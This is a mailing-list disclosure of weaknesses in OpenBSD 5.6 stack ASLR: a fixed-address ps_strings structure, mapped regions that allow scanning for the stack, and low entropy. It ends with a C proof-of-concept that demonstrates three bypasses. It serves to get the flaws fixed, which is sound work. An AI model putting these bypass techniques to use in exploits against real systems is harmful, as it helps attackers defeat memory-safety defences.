Hello,
I am sorry if this is the wrong mailing list to send to. I was
directed here by __gilles on #opensmtpd @ Freenode.
There multiple issues with the way randomization of the stack is done
on OpenBSD 5.6, most of which I think could be fixed without
significant trouble.
It seems like the issues are present both older releases and on
-current, but I have only taken a superficial look at CVS and not
tested it.
There are at least four ways an attacker could defeat ASLR on OpenBSD.
- The ps_struct structure is placed at a known address and contains
pointers to the stack.
- The entire region from the stack to USRSTACK is mapped, meaning that
an attacker with the capability to repeatedly leak from a chosen
address could start at USRSTACK and search down until he finds the
stack.
- A large area below the stack is mapped on demand, meaning that an
attacker with the same capabilities could start below the stack and
search up until the stack is found.
- The stack randomization only has 14 bits of entropy on i386 or amd64
with default settings. This is enough for a determined remote
attacker to brute-force the address even on a very slow connection.
In many scenarios, such as when doing ROP, then can be reduced
further by e.g. doing a ret-sled (the equivalent of a nopsled, but
for ROP).
I have inserted a program that demonstrates the first 3 issues at the
bottom of my email.
As a side-note, it looks like the other pieces ASLR are more or less
okay on amd64. The binary is placed somewhere below VM_PIE_MAX_ADDR,
which is 2 ** 45 on amd64. However the default binaries requires 20
bits of alignment, so this only leaves 25 bits of entropy.
Calls to malloc or mmap seems to be chosen randomly among 2 ** 20
pages placed at a constant offset above the base of the binary. While
none of these numbers are great (25 bits to base address with no
knowledge, 20 bits if knowing another pointer), they are not
particularly bad either.
--
Mathias Svensson
bypass.c:
#include <stdio.h>
#include <string.h>
#ifdef __amd64__
#define USRSTACK 0x7f7fffffc000
#else
#ifdef __i386__
#define USRSTACK 0xcfbfe000
#else
#error "Find the address in /usr/src/arch/.../include/vmparam.h"
#endif
#endif
struct ps_strings {
char** ps_argvstr; /* first of 0 or more argument strings */
int ps_nargvstr; /* the number of argument strings */
char** ps_envstr; /* first of 0 or more environment strings */
int ps_nenvstr; /* the number of environment strings */
};
#ifndef MACHINE_STACK_GROWS_UP
#define PS_STRINGS (USRSTACK - sizeof(struct ps_strings))
#else
#error "The bypass should still work, but needs to be tweaked"
#endif
/* The value of kern.stackgap_random. It defaults to the
* value defined in /usr/src/arch/.../include/vmparam.h */
#define STACKGAP_RANDOM 256*1024
void aslr_bypass1(void) {
/* This bypass assumes that the attacker can leak from any
* address, but does not know where the stack, binaries, etc
* are located */
/* Constant pointer */
struct ps_strings *known_ptr = (struct ps_strings*) PS_STRINGS;
/* The attacker now leaks from it */
void *leaked = known_ptr->ps_envstr;
/* ASLR is defeated. */
printf("%p\n", leaked);
}
void aslr_bypass2(void) {
/* This bypass assumes that the attack has the same capabilities
* as previously, except he must be able to leak repeatedly. */
/* We also assume the previous issue has been fixed. */
/* Constant pointer */
char *top = (char*) PS_STRINGS - 1;
/* The attacker now leaks until he finds something. */
/* This is possible, as everything from the stack to
* USRSTACK is mapped. */
while(*top == '\0') top--;
/* ASLR is defeated. */
printf("%p\n", top);
}
void aslr_bypass3(void) {
/* This bypass assumes that the attack has the same capabilities
* as previously, and that the previous issues have been fixed. */
/* Constant pointer */
/* The 0x1000 is to get past the values on the stack, in case they
* by chance were placed really low. We know that 0x1000 is enough
* for this program. */
void *bottom = (char*) USRSTACK - STACKGAP_RANDOM - 0x1000;
/* Some value on the stack we want to look for */
int stack_val = 0xdeadbeef;
/* The attack now leaks until he finds the magic value. */
/* The stack expands for him, even though he is way below. */
bottom = memmem(bottom, STACKGAP_RANDOM, &stack_val, 4);
/* ASLR is defeated. */
printf("%p\n", bottom);
}
int main() {
aslr_bypass1();
aslr_bypass2();
aslr_bypass3();
return 0;
}